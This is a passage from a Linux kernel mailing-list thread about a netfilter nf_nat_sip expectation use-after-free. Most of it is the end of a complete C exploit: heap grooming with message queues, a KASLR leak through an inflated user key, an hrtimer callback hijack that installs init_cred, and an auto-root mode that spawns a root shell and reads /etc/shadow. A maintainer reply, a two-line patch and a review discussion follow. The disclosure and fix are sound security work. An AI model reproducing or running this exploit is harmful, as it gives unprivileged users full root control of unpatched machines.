r->sq_ring_sz=r->cq_ring_sz=ring_sz;
} else {
r->sq_ring=mmap(NULL, r->sq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd,
IORING_OFF_SQ_RING);
if (r->sq_ring== MAP_FAILED)
die("mmap io_uring SQ ring");
r->cq_ring=mmap(NULL, r->cq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd,
IORING_OFF_CQ_RING);
if (r->cq_ring== MAP_FAILED)
die("mmap io_uring CQ ring");
}
r->sqes=mmap(NULL, r->p.sq_entries*sizeof(*r->sqes),
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
r->fd, IORING_OFF_SQES);
if (r->sqes== MAP_FAILED)
die("mmap io_uring SQEs");
r->sq_head= (unsigned*)((char*)r->sq_ring+r->p.sq_off.head);
r->sq_tail= (unsigned*)((char*)r->sq_ring+r->p.sq_off.tail);
r->sq_mask= (unsigned*)((char*)r->sq_ring+r->p.sq_off.ring_mask);
r->sq_entries= (unsigned*)((char*)r->sq_ring+
r->p.sq_off.ring_entries);
r->sq_array= (unsigned*)((char*)r->sq_ring+r->p.sq_off.array);
r->cq_head= (unsigned*)((char*)r->cq_ring+r->p.cq_off.head);
r->cq_tail= (unsigned*)((char*)r->cq_ring+r->p.cq_off.tail);
r->cq_mask= (unsigned*)((char*)r->cq_ring+r->p.cq_off.ring_mask);
r->cqes= (structio_uring_cqe*)((char*)r->cq_ring+
r->p.cq_off.cqes);
}
staticstructio_uring_sqe*uring_get_sqe(structuring*r)
{
unsignedhead=__atomic_load_n(r->sq_head, __ATOMIC_ACQUIRE);
unsignedtail=__atomic_load_n(r->sq_tail, __ATOMIC_RELAXED);
unsignedpos=tail+r->pending;
unsignedidx;
structio_uring_sqe*sqe;
if (pos-head>=*r->sq_entries)
die("io_uring SQ full");
idx=pos&*r->sq_mask;
r->sq_array[idx] =idx;
sqe=&r->sqes[idx];
memset(sqe, 0, sizeof(*sqe));
r->pending++;
returnsqe;
}
staticvoiduring_submit(structuring*r)
{
unsignedtail, n=r->pending;
longret;
if (!n)
return;
tail=__atomic_load_n(r->sq_tail, __ATOMIC_RELAXED);
__atomic_store_n(r->sq_tail, tail+n, __ATOMIC_RELEASE);
r->pending=0;
ret=syscall(SYS_io_uring_enter, r->fd, n, 0, 0, NULL, 0);
if (ret!= (long)n)
die("io_uring_enter submitted %ld/%u", ret, n);
}
staticvoiduring_wait_cqes(structuring*r, unsignedwant)
{
for (;;) {
unsignedhead=__atomic_load_n(r->cq_head, __ATOMIC_RELAXED);
unsignedtail=__atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE);
if (tail-head>=want) {
__atomic_store_n(r->cq_head, head+want, __ATOMIC_RELEASE);
return;
}
if (syscall(SYS_io_uring_enter, r->fd, 0, want, IORING_ENTER_GETEVENTS,
NULL, 0) <0&&errno!=EINTR)
die("io_uring_enter(GETEVENTS)");
}
}
staticvoidarm_realtime_timeout(structuring*r,
conststruct__kernel_timespec*when,
uint64_ttag)
{
structio_uring_sqe*sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_TIMEOUT;
sqe->fd=-1;
sqe->addr= (uintptr_t)when;
sqe->len=1;
sqe->timeout_flags=IORING_TIMEOUT_ABS|IORING_TIMEOUT_REALTIME;
sqe->user_data=tag;
uring_submit(r);
}
staticvoidremove_timeout(structuring*r, uint64_ttarget_tag,
uint64_tremove_tag)
{
structio_uring_sqe*sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_TIMEOUT_REMOVE;
sqe->fd=-1;
sqe->addr=target_tag;
sqe->user_data=remove_tag;
uring_submit(r);
uring_wait_cqes(r, 2);
}
staticintmsg_pool_create(structmsg80*msgs, size_tnr, uint64_tcred)
{
intqid=msgget(IPC_PRIVATE, IPC_CREAT |0600);
if (qid<0)
die("msgget");
for (size_ti=0; i<nr; i++) {
memset(&msgs[i], 0x41+i%20, sizeof(msgs[i]));
msgs[i].type=i+1;
memcpy(&msgs[i].data[24], &cred, sizeof(cred));
if (msgsnd(qid, &msgs[i], sizeof(msgs[i].data), 0) <0)
die("msgsnd holder %zu", i);
}
returnqid;
}
staticvoidmsg_pool_free_one(intqid, size_tindex)
{
structmsg80msg;
ssize_tn=msgrcv(qid, &msg, sizeof(msg.data), index+1, 0);
if (n!= (ssize_t)sizeof(msg.data))
die("msgrcv holder %zu", index);
}
staticintmake_connect_socket(void)
{
intfd=socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (fd<0)
die("IPv6 connect socket");
returnfd;
}
staticintqueue_held_connect(structuring*r, intconnect_fd,
constunsignedcharaddr[128], uint64_ttag)
{
structio_uring_sqe*sqe;
intefd=eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK);
if (efd<0)
die("eventfd");
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_POLL_ADD;
sqe->flags=IOSQE_IO_LINK;
sqe->fd=efd;
sqe->poll32_events= POLLIN;
sqe->user_data=tag;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_CONNECT;
sqe->fd=connect_fd;
sqe->addr= (uintptr_t)addr;
sqe->addr2=128;
sqe->user_data=tag+1;
uring_submit(r);
returnefd;
}
staticintdelete_ct_and_hold_connect(structuring*r,
conststructtuple4*victim,
intconnect_fd,
constunsignedcharaddr[128])
{
structnlmsg_bufb;
structsockaddr_nlnladdr= { .nl_family=AF_NETLINK };
structioveciov;
structmsghdrmsg;
structio_uring_sqe*sqe;
intefd=eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK);
if (efd<0)
die("eventfd for delete/connect");
nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK <<8) | IPCTNL_MSG_CT_DELETE,
NLM_F_REQUEST, AF_INET);
put_tuple(&b, CTA_TUPLE_ORIG, victim);
iov.iov_base =b.data;
iov.iov_len =b.len;
memset(&msg, 0, sizeof(msg));
msg.msg_name=&nladdr;
msg.msg_namelen=sizeof(nladdr);
msg.msg_iov =&iov;
msg.msg_iovlen =1;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_SENDMSG;
sqe->fd=nlfd;
sqe->addr= (uintptr_t)&msg;
sqe->len=1;
sqe->user_data=0x2000;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_POLL_ADD;
sqe->flags=IOSQE_IO_LINK;
sqe->fd=efd;
sqe->poll32_events= POLLIN;
sqe->user_data=0x2001;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_CONNECT;
sqe->fd=connect_fd;
sqe->addr= (uintptr_t)addr;
sqe->addr2=128;
sqe->user_data=0x2002;
uring_submit(r);
returnefd;
}
staticconststructexp_row*find_exp(conststructexp_row*rows, size_tnr,
conststructtuple4*tuple)
{
for (size_ti=0; i<nr; i++)
if (tuple_equal(&rows[i].tuple, tuple))
return&rows[i];
returnNULL;
}
staticstructstale_chainbuild_stale_chain(conststructtuple4*oracle_master,
uint32_tnat_addr,
unsignedport)
{
structstale_chainout;
structtuple4reply, mask_full=exp_mask(true);
structtuple4mask_wild=exp_mask(false);
structtuple4rtcp, trigger, fmaster, freply, f, q;
structexp_rowrows[32];
conststructexp_row*row;
uint32_tf_id;
size_tnr;
intret;
out.victim=tuple_make("10.23.0.2", 40000,
"10.23.0.1", 5060);
reply=tuple_reply(&out.victim);
ret=ct_new(&out.victim, &reply, "sip", nat_addr, 3600);
if (ret)
die("create vulnerable SIP master: %s", strerror(-ret));
out.seed=exp_tuple(nat_addr, port+1);
ret=exp_new(&out.victim, &out.seed, &mask_wild, 0, 0, 3600);
if (ret)
die("create seed expectation: %s", strerror(-ret));
if (!packet_ready) {
packet_path_setup();
packet_ready=true;
}
send_sip_sdp(port);
rtcp=exp_tuple(nat_addr, port+3);
rtcp.saddr=inet_addr("10.23.0.1");
nr=exp_dump(rows, ARRAY_SIZE(rows));
row=find_exp(rows, nr, &out.seed);
if (!row)
die("seed expectation disappeared after SIP trigger");
out.seed_id=row->id;
row=find_exp(rows, nr, &rtcp);
if (!row||row->class!=1)
die("malicious SIP packet did not reach repaired RTCP state");
ret=exp_del_id(&rtcp, row->id);
if (ret)
die("delete repaired RTCP expectation: %s", strerror(-ret));
fprintf(stderr, "stage: repaired RTCP removed\n");
trigger=exp_tuple(nat_addr, port);
trigger.saddr=inet_addr("10.23.0.1");
ret=exp_new(oracle_master, &trigger, &mask_full, 1, 0, 3600);
if (ret)
die("second DEAD expectation unlink: %s", strerror(-ret));
fprintf(stderr, "stage: second DEAD unlink reached\n");
/* Keep trigger live so its later RCU free cannot cover E on the cache LIFO. */
usleep(500000);
fmaster=tuple_make("192.0.2.30", 42000+chain_serial,
"192.0.2.40", 5060);
freply=tuple_reply(&fmaster);
ret=ct_new(&fmaster, &freply, "sip", 0, 3600);
if (ret)
die("create alias master: %s", strerror(-ret));
f=exp_tuple(inet_addr("203.0.113.9"), 45000+chain_serial*4);
f.saddr=inet_addr("192.0.2.40");
f.sport=htons(45001+chain_serial*4);
ret=exp_new(&fmaster, &f, &mask_full, 1, 0, 3600);
if (ret)
die("create expectation-cache alias: %s", strerror(-ret));
fprintf(stderr, "stage: expectation slot reclaimed\n");
q=exp_tuple(inet_addr("203.0.113.10"), 45002+chain_serial*4);
q.saddr=inet_addr("10.23.0.1");
q.sport=htons(45003+chain_serial*4);
ret=exp_new(&out.victim, &q, &mask_full, 2, 0, 3600);
if (ret)
die("create victim-list probe: %s", strerror(-ret));
fprintf(stderr, "stage: victim-list probe inserted\n");
nr=exp_dump_master(&out.victim, rows, ARRAY_SIZE(rows));
fprintf(stderr, "stage: victim master dump returned %zu rows\n", nr);
row=find_exp(rows, nr, &f);
if (!row)
die("expectation-cache slot was not reclaimed by alias");
f_id=row->id;
row=find_exp(rows, nr, &q);
if (!row)
die("victim-list probe missing from master dump");
ret=exp_del_id(&q, row->id);
if (ret)
die("delete victim-list probe: %s", strerror(-ret));
fprintf(stderr, "stage: victim-list probe removed\n");
/* F's forged pprev clears V; its real master must remain alive and stale. */
ret=exp_del_id(&f, f_id);
if (ret)
die("delete expectation-cache alias: %s", strerror(-ret));
fprintf(stderr, "stage: alias removed and victim list cleared\n");
nr=exp_dump_master(&out.victim, rows, ARRAY_SIZE(rows));
fprintf(stderr, "stage: repaired victim dump returned %zu rows\n", nr);
if (nr)
die("victim expectation list was not repaired");
ret=exp_del(&trigger);
if (ret)
die("delete DEAD-unlink trigger: %s", strerror(-ret));
fprintf(stderr, "stage: trigger removed\n");
chain_serial++;
returnout;
}
staticvoidverify_safe_decrement(conststructtuple4*oracle_master,
uint32_tnat_addr, unsignedport)
{
structstale_chainchain;
structuringring;
unsignedcharaddr[128] = { 0 };
uint64_tone=1;
intsock, efd, ret;
chain=build_stale_chain(oracle_master, nat_addr, port);
uring_init(&ring, 16);
sock=make_connect_socket();
addr[0] =AF_INET6;
addr[26] =1;
efd=delete_ct_and_hold_connect(&ring, &chain.victim, sock, addr);
fprintf(stderr, "stage: victim deleted and buffer held\n");
ret=exp_del_id(&chain.seed, chain.seed_id);
if (ret)
die("trigger controlled decrement: %s", strerror(-ret));
fprintf(stderr, "stage: orphan seed removed\n");
if (write(efd, &one, sizeof(one)) !=sizeof(one))
die("release held CONNECT");
usleep(100000);
printf("safe controlled decrement path completed\n");
fflush(stdout);
for (;;)
pause();
}
staticintprobe_init_root_access(void)
{
intfd=open("/root", O_RDONLY| O_DIRECTORY | O_CLOEXEC);
if (fd<0)
return-errno;
close(fd);
return0;
}
staticintprobe_initial_uts_admin(void)
{
longret;
errno=0;
ret=syscall(SYS_sethostname, NULL, -1L);
if (ret==0)
return0;
return-errno;
}
staticvoidrun_root_test(conststructtuple4*oracle_master,
uint32_tnat_addr, unsignedport,
uint64_tslide)
{
enum { MSG_NR=192, A_INDEX=160, T_INDEX=161, D_INDEX=162 };
constuint64_tlinked_init_cred=0xffffffff8300d700ULL;
constuint64_tlinked_revert=0xffffffff817e8640ULL;
structstale_chainchain;
structuringring;
structmsg80*msgs=xmalloc(sizeof(*msgs) *MSG_NR);
struct__kernel_timespecwhen;
structtimespecnow;
unsignedchardaddr[128] = { 0 };
unsignedcharraw[sizeof(structsockaddr_un)] = { 0 };
structsockaddr_un*sun= (structsockaddr_un*)raw;
uint64_tinit_cred=linked_init_cred+slide;
uint64_tcallback=linked_revert+slide;
intqid, bindfd, dfd, ret;
int64_texpires;
ret=probe_init_root_access();
if (ret==0)
die("precondition failed: init-userns /root is already accessible");
if (ret!=-EACCES&&ret!=-EPERM)
die("probe init-userns /root before exploit: %s", strerror(-ret));
ret=probe_initial_uts_admin();
if (ret!=-EPERM)
die("precondition failed: initial UTS CAP_SYS_ADMIN probe returned %s",
ret?strerror(-ret) :"success");
fprintf(stderr, "stage: init-userns /root access denied before exploit\n");
uring_init(&ring, 32);
bindfd=socket(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (bindfd<0)
die("AF_UNIX bind socket");
qid=msg_pool_create(msgs, MSG_NR, init_cred);
fprintf(stderr, "stage: %u kmalloc-128 message holders allocated\n", MSG_NR);
/* Fresh-slab allocation order is high-to-low: 202,201,200 map D,T,A. */
msg_pool_free_one(qid, D_INDEX);
chain=build_stale_chain(oracle_master, nat_addr, port);
daddr[0] =176;
dfd=delete_ct_and_hold_connect(&ring, &chain.victim,
make_connect_socket(), daddr);
(void)dfd;
uring_wait_cqes(&ring, 1); /* the synchronous netlink SENDMSG */
fprintf(stderr, "stage: D reclaimed the victim extension\n");
msg_pool_free_one(qid, T_INDEX);
if (clock_gettime(CLOCK_REALTIME, &now) <0)
die("clock_gettime(CLOCK_REALTIME)");
when.tv_sec =now.tv_sec+3;
when.tv_nsec =now.tv_nsec;
expires= (int64_t)when.tv_sec *1000000000LL+when.tv_nsec;
arm_realtime_timeout(&ring, &when, 0x3000);
fprintf(stderr, "stage: realtime timeout armed\n");
ret=exp_del_id(&chain.seed, chain.seed_id);
if (ret)
die("decrement timeout is_queued: %s", strerror(-ret));
fprintf(stderr, "stage: timeout is_queued decremented\n");
sun->sun_family =AF_UNIX;
sun->sun_path[0] =0;
memcpy(raw+40, &expires, sizeof(expires));
raw[56] =1;
memcpy(raw+64, &expires, sizeof(expires));
memcpy(raw+72, &callback, sizeof(callback));
remove_timeout(&ring, 0x3000, 0x3001);
ret=bind(bindfd, (structsockaddr*)raw, sizeof(raw));
if (ret)
die("bind timeout reclaimer");
fprintf(stderr, "stage: stale hrtimer repaired by unix_address\n");
/* Stay in userspace on this CPU until the hrtimer callback has run. */
for (;;) {
structtimespeccur;
int64_tnow_ns;
clock_gettime(CLOCK_REALTIME, &cur);
now_ns= (int64_t)cur.tv_sec*1000000000LL+cur.tv_nsec;
if (now_ns>=expires+100000000LL)
break;
__asm__volatile("pause");
}
ret=probe_initial_uts_admin();
if (ret!=-EINVAL) {
fprintf(stderr,
"callback did not grant initial UTS CAP_SYS_ADMIN: %s\n",
ret?strerror(-ret) :"unexpected success");
for (;;)
pause();
}
ret=probe_init_root_access();
if (ret) {
fprintf(stderr,
"callback did not grant init-userns /root access: %s\n",
strerror(-ret));
for (;;)
pause();
}
fprintf(stderr,
"stage: subjective init_cred installed; init-userns /root accessible\n");
if (fork() ==0) {
if (getenv("LPE_PROOF"))
execl("/bin/sh", "sh", "-p", "-c",
"echo ROOT_SHELL; id; "
"grep '^CapEff:' /proc/self/status; "
"cat /proc/self/uid_map; "
"if head -c 1 /etc/shadow >/dev/null; then "
"echo INIT_USERNS_ROOT; else exit 1; fi",
(char*)NULL);
else
execl("/bin/sh", "sh", "-p", (char*)NULL);
_exit(127);
}
for (;;)
pause();
}
staticuint64_tscan_timeout_slide(constunsignedchar*buf, size_tlen)
{
constuint64_tlinked_io_timeout_fn=0xffffffff819653f0ULL;
uint64_tseen[64];
size_tnseen=0;
for (size_toff=0; off+sizeof(uint64_t) <=len; off+=8) {
uint64_tv, slide;
unsignedcount=0;
boolduplicate=false;
memcpy(&v, buf+off, sizeof(v));
if (v<linked_io_timeout_fn)
continue;
slide=v-linked_io_timeout_fn;
if (slide>0x3fe00000ULL|| (slide&0x1fffff))
continue;
for (size_ti=0; i<nseen; i++)
if (seen[i] ==slide)
duplicate=true;
if (duplicate)
continue;
if (nseen<ARRAY_SIZE(seen))
seen[nseen++] =slide;
for (size_tj=0; j+sizeof(uint64_t) <=len; j+=8) {
uint64_tw;
memcpy(&w, buf+j, sizeof(w));
if (w==linked_io_timeout_fn+slide)
count++;
}
if (count>=4) {
fprintf(stderr,
"stage: leaked io_timeout_fn %u times, slide=%#llx\n",
count, (unsignedlonglong)slide);
returnslide;
}
}
returnUINT64_MAX;
}
staticuint64_tleak_kaslr(conststructtuple4*oracle_master,
uint32_tnat_addr, unsignedport)
{
enum {
MSG_NR=192,
TIMEOUT_FIRST=145,
TIMEOUT_LAST=160,
PAYLOAD_INDEX=161,
D_INDEX=162,
NR_TIMEOUTS=TIMEOUT_LAST-TIMEOUT_FIRST+1,
};
structstale_chainchain;
structuringring;
structmsg80*msgs=xmalloc(sizeof(*msgs) *MSG_NR);
struct__kernel_timespecwhen;
structtimespecnow;
unsignedchardaddr[128] = { 0 };
unsignedcharpayload[80];
unsignedchardesc[]="leak";
unsignedchar*dump=xmalloc(65536);
uint64_tslide;
longkey, n;
intqid, ret;
memset(payload, 0x4b, sizeof(payload));
uring_init(&ring, 64);
key=add_user_key(desc, sizeof(desc) -1, payload, 1);
if (key<0)
die("create leak key");
qid=msg_pool_create(msgs, MSG_NR, 0);
msg_pool_free_one(qid, D_INDEX);
chain=build_stale_chain(oracle_master, nat_addr, port);
daddr[0] =129;
delete_ct_and_hold_connect(&ring, &chain.victim,
make_connect_socket(), daddr);
uring_wait_cqes(&ring, 1);
msg_pool_free_one(qid, PAYLOAD_INDEX);
if (update_user_key(key, payload, sizeof(payload)) <0)
die("place leak key payload");
for (unsignedi=TIMEOUT_FIRST; i<=TIMEOUT_LAST; i++)
msg_pool_free_one(qid, i);
if (clock_gettime(CLOCK_REALTIME, &now) <0)
die("clock_gettime for leak timers");
when.tv_sec =now.tv_sec+30;
when.tv_nsec =now.tv_nsec;
for (unsignedi=0; i<NR_TIMEOUTS; i++)
arm_realtime_timeout(&ring, &when, 0x4000+i);
ret=exp_del_id(&chain.seed, chain.seed_id);
if (ret)
die("inflate leak key length: %s", strerror(-ret));
n=read_user_key(key, dump, 65536);
if (n<=0||n>65536)
die("read inflated key payload returned %ld", n);
slide=scan_timeout_slide(dump, n);
if (slide==UINT64_MAX) {
fprintf(stderr, "KASLR pointer not found in %ld-byte heap disclosure\n", n);
for (;;)
pause();
}
for (unsignedi=0; i<NR_TIMEOUTS; i++)
remove_timeout(&ring, 0x4000+i, 0x5000+i);
returnslide;
}
staticboolin_initial_user_namespace(void)
{
unsignedlonglonginside, outside, length;
FILE*fp=fopen("/proc/self/uid_map", "re");
intfields;
if (!fp)
die("open /proc/self/uid_map");
fields=fscanf(fp, "%llu%llu%llu", &inside, &outside, &length);
fclose(fp);
if (fields!=3)
die("parse /proc/self/uid_map");
returninside==0&&outside==0&&length==4294967295ULL;
}
staticvoidenter_owned_namespaces(intargc, char**argv)
{
charself[PATH_MAX];
char**args;
ssize_tlen;
if (geteuid() ==0) {
if (in_initial_user_namespace())
die("refusing to run as root in the initial user namespace");
return;
}
len=readlink("/proc/self/exe", self, sizeof(self) -1);
if (len<0)
die("readlink /proc/self/exe");
if ((size_t)len==sizeof(self) -1)
die("executable path is too long");
self[len] ='\0';
args=calloc((size_t)argc+4, sizeof(*args));
if (!args)
die("allocate unshare argv");
args[0] = (char*)"unshare";
args[1] = (char*)"-Urn";
args[2] = (char*)"--";
args[3] =self;
for (inti=1; i<argc; i++)
args[i+3] =argv[i];
args[argc+3] =NULL;
execvp(args[0], args);
die("exec unshare: %s", strerror(errno));
}
intmain(intargc, char**argv)
{
structtuple4oracle_master, oracle_reply;
uint32_tnat_addr=inet_addr("198.51.100.77");
unsignedport;
intret;
enter_owned_namespaces(argc, argv);
printf("pinned to CPU %d\n", pin_last_cpu());
netns_setup();
nl_open();
oracle_master=tuple_make("192.0.2.10", 41000,
"192.0.2.20", 5060);
oracle_reply=tuple_reply(&oracle_master);
ret=ct_new(&oracle_master, &oracle_reply, "sip", 0, 3600);
if (ret)
die("create oracle master: %s", strerror(-ret));
port=find_sip_hash_port(&oracle_master, nat_addr);
printf("expectation hash relation: H(%u)=H(%u), H(%u)!=H(%u)\n",
port, port+3, port, port+2);
fflush(stdout);
if (argc>1&&!strcmp(argv[1], "--sip-clean"))
verify_clean_sip(port, nat_addr);
if (argc>1&&!strcmp(argv[1], "--uring-hold")) {
structuringring;
unsignedcharaddr[128] = { 0 };
ints, efd;
uring_init(&ring, 8);
s=make_connect_socket();
efd=queue_held_connect(&ring, s, addr, 0x1000);
printf("linked CONNECT buffer held behind eventfd %d\n", efd);
}
if (argc>1&&!strcmp(argv[1], "--primitive-safe"))
verify_safe_decrement(&oracle_master, nat_addr, port);
if (argc>2&&!strcmp(argv[1], "--root-test")) {
char*end=NULL;
uint64_tslide=strtoull(argv[2], &end, 0);
if (!end||*end)
die("invalid KASLR slide");
run_root_test(&oracle_master, nat_addr, port, slide);
}
if (argc==1||!strcmp(argv[1], "--auto-root")) {
uint64_tslide=leak_kaslr(&oracle_master, nat_addr, port);
run_root_test(&oracle_master, nat_addr, port, slide);
}
return0;
}
Best regards,
Jaeyeong Lee
[-- Attachment #1.2: Type: text/html, Size: 689802 bytes --]
[-- Attachment #2: image.png --]
[-- Type: image/png, Size: 49288 bytes --]
^ permalink raw reply [flat|nested] 10+ messages in thread* Re: netfilter: nf_nat_sip expectation UAF permits local privilege escalation
2026-07-10 23:19 netfilter: nf_nat_sip expectation UAF permits local privilege escalation Jaeyeong Lee
@ 2026-07-11 5:29 ` Greg KH
2026-07-11 14:21 ` [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash Jaeyeong Lee
0 siblings, 1 reply; 10+ messages in thread
From: Greg KH @ 2026-07-11 5:29 UTC (permalink / raw)
To: Jaeyeong Lee
Cc: pablo@netfilter.org, fw@strlen.de, phil@nwl.cc,
netfilter-devel@vger.kernel.org, security@kernel.org
On Fri, Jul 10, 2026 at 11:19:54PM +0000, Jaeyeong Lee wrote:
> ## Vulnerability Summary
<snip>
As you sent this to a public mailing list, there's no need for
security@kernel.org to be involved in it.
Also, please just submit a patch to resolve this issue so that it gets
fixed and you get full credit for resolving it.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 10+ messages in thread
* [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash
2026-07-11 5:29 ` Greg KH
@ 2026-07-11 14:21 ` Jaeyeong Lee
2026-07-11 16:29 ` Florian Westphal
0 siblings, 1 reply; 10+ messages in thread
From: Jaeyeong Lee @ 2026-07-11 14:21 UTC (permalink / raw)
To: netfilter-devel; +Cc: pablo, fw, phil, gregkh
Since commit b8b09dc2bf35 ("netfilter: nf_conntrack_expect: use conntrack
GC to reap expectations") nf_ct_unexpect_related() no longer unlinks the
expectation from the global hash and from the per-master list. It only
marks it with NF_CT_EXPECT_DEAD and defers the unlink to the conntrack GC
worker and to the expectation list walkers; the reference taken at insert
time is kept until a walker calls nf_ct_unlink_expect().
The NAT SIP and H.323 helpers still assume the old, synchronous contract.
Their RTP/RTCP port-search loop unexpects rtp_exp on an RTCP -EBUSY clash
and then continues the loop, reusing the very same rtp_exp object:
ret = nf_ct_expect_related(rtcp_exp, ...);
...
else if (ret == -EBUSY) {
nf_ct_unexpect_related(rtp_exp);
continue; /* reuse rtp_exp next port */
}
rtp_exp is still linked in nf_ct_expect_hash[] and in
master_help->expectations when the loop mutates its tuple and calls
nf_ct_expect_related() again. nf_ct_expect_insert() then runs
hlist_add_head_rcu() on the already-linked lnode -- same master list, so
it becomes self-referential -- and on hnode, and takes an extra,
unbalanced reference. The per-master expectation list is corrupted and
the conntrack GC worker trips over it:
Oops: general protection fault, probably for non-canonical address
0xdead000000000122
Workqueue: events_power_efficient gc_worker
RIP: 0010:nf_ct_unlink_expect_report+0x3e/0xd0
Call Trace:
nf_ct_expectation_gc+0x59/0x70
gc_worker+0x344/0x620
process_one_work+0x19f/0x3d0
nf_ct_expectation_gc() walks the cyclic master_help->expectations,
unlinks the entry, then visits the same now-poisoned node again and
unlinks it a second time. Under KASAN this is reported as a
use-after-free of the nf_conntrack_expect slab object. It is reachable by
an unprivileged user in a user+net namespace that assigns the "sip" or
H.323 conntrack helper with NAT and drives the RTP-succeeds /
RTCP-clashes case, and is thus a local privilege escalation primitive.
A DEAD expectation must be treated as a terminal object: never mutate its
tuple and never re-insert it. Stop reusing rtp_exp after unexpecting it in
both helpers and fail the media setup instead of retrying the next port
pair. rtp_exp is left DEAD and linked and is reaped by the GC / master
teardown as intended, and the callers drop the allocation references
unconditionally, so nothing is leaked.
This gives up the "try the next port pair" retry when only the RTCP port
of a pair is busy; that best-effort search is not a correctness
requirement, the packet is dropped and the endpoint renegotiates.
Fixes: b8b09dc2bf35 ("netfilter: nf_conntrack_expect: use conntrack GC to reap expectations")
Signed-off-by: Jaeyeong Lee <iostreampy@proton.me>
---
net/ipv4/netfilter/nf_nat_h323.c | 3 ++-
net/netfilter/nf_nat_sip.c | 3 ++-
2 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/net/ipv4/netfilter/nf_nat_h323.c b/net/ipv4/netfilter/nf_nat_h323.c
index 183e8a3ff2ba..78cdc107a0dc 100644
--- a/net/ipv4/netfilter/nf_nat_h323.c
+++ b/net/ipv4/netfilter/nf_nat_h323.c
@@ -236,7 +236,8 @@ static int nat_rtp_rtcp(struct sk_buff *skb, struct nf_conn *ct,
break;
else if (ret == -EBUSY) {
nf_ct_unexpect_related(rtp_exp);
- continue;
+ nated_port = 0;
+ break;
} else if (ret < 0) {
nf_ct_unexpect_related(rtp_exp);
nated_port = 0;
diff --git a/net/netfilter/nf_nat_sip.c b/net/netfilter/nf_nat_sip.c
index aea02f6aff09..aa34b7eb96f2 100644
--- a/net/netfilter/nf_nat_sip.c
+++ b/net/netfilter/nf_nat_sip.c
@@ -637,7 +637,8 @@ static unsigned int nf_nat_sdp_media(struct sk_buff *skb, unsigned int protoff,
break;
else if (ret == -EBUSY) {
nf_ct_unexpect_related(rtp_exp);
- continue;
+ port = 0;
+ break;
} else if (ret < 0) {
nf_ct_unexpect_related(rtp_exp);
port = 0;
--
2.43.0
^ permalink raw reply related [flat|nested] 10+ messages in thread* Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash
2026-07-11 14:21 ` [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash Jaeyeong Lee
@ 2026-07-11 16:29 ` Florian Westphal
2026-07-12 5:54 ` Greg KH
0 siblings, 1 reply; 10+ messages in thread
From: Florian Westphal @ 2026-07-11 16:29 UTC (permalink / raw)
To: Jaeyeong Lee; +Cc: netfilter-devel, pablo, phil, gregkh
Jaeyeong Lee <iostreampy@proton.me> wrote:
> Since commit b8b09dc2bf35 ("netfilter: nf_conntrack_expect: use conntrack
> GC to reap expectations") nf_ct_unexpect_related() no longer unlinks the
> expectation from the global hash and from the per-master list. It only
> marks it with NF_CT_EXPECT_DEAD and defers the unlink to the conntrack GC
[..]
> and then continues the loop, reusing the very same rtp_exp object:
>
> ret = nf_ct_expect_related(rtcp_exp, ...);
> ...
I think this function should WARN_ON_ONCE when one tries to reinsert a
dead expectation (and return -EINVAL or another appropriate error).
(This is indenpendent of the real fix).
^ permalink raw reply [flat|nested] 10+ messages in thread* Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash
2026-07-11 16:29 ` Florian Westphal
@ 2026-07-12 5:54 ` Greg KH
2026-07-12 7:40 ` Florian Westphal
0 siblings, 1 reply; 10+ messages in thread
From: Greg KH @ 2026-07-12 5:54 UTC (permalink / raw)
To: Florian Westphal; +Cc: Jaeyeong Lee, netfilter-devel, pablo, phil
On Sat, Jul 11, 2026 at 06:29:31PM +0200, Florian Westphal wrote:
> Jaeyeong Lee <iostreampy@proton.me> wrote:
> > Since commit b8b09dc2bf35 ("netfilter: nf_conntrack_expect: use conntrack
> > GC to reap expectations") nf_ct_unexpect_related() no longer unlinks the
> > expectation from the global hash and from the per-master list. It only
> > marks it with NF_CT_EXPECT_DEAD and defers the unlink to the conntrack GC
>
> [..]
>
> > and then continues the loop, reusing the very same rtp_exp object:
> >
> > ret = nf_ct_expect_related(rtcp_exp, ...);
> > ...
>
> I think this function should WARN_ON_ONCE when one tries to reinsert a
> dead expectation (and return -EINVAL or another appropriate error).
>
> (This is indenpendent of the real fix).
If you do that, then the machine will reboot, loosing everything. Are
you sure you want that to happen? Why not just properly handle the
issue if it possibly could happen?
thanks,
greg k-h
^ permalink raw reply [flat|nested] 10+ messages in thread* Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash
2026-07-12 5:54 ` Greg KH
@ 2026-07-12 7:40 ` Florian Westphal
2026-07-12 7:54 ` Greg KH
0 siblings, 1 reply; 10+ messages in thread
From: Florian Westphal @ 2026-07-12 7:40 UTC (permalink / raw)
To: Greg KH; +Cc: Jaeyeong Lee, netfilter-devel, pablo, phil
Greg KH <gregkh@linuxfoundation.org> wrote:
> > I think this function should WARN_ON_ONCE when one tries to reinsert a
> > dead expectation (and return -EINVAL or another appropriate error).
> >
> > (This is indenpendent of the real fix).
>
> If you do that, then the machine will reboot, loosing everything.
> Are you sure you want that to happen?
Of course not, i never set panic_on_warn.
> Why not just properly handle the
> issue if it possibly could happen?
This is no different than the WARNs on list corruption or refcount
under/overflows.
Would you propose to remove those? I hope not, they help catch bugs.
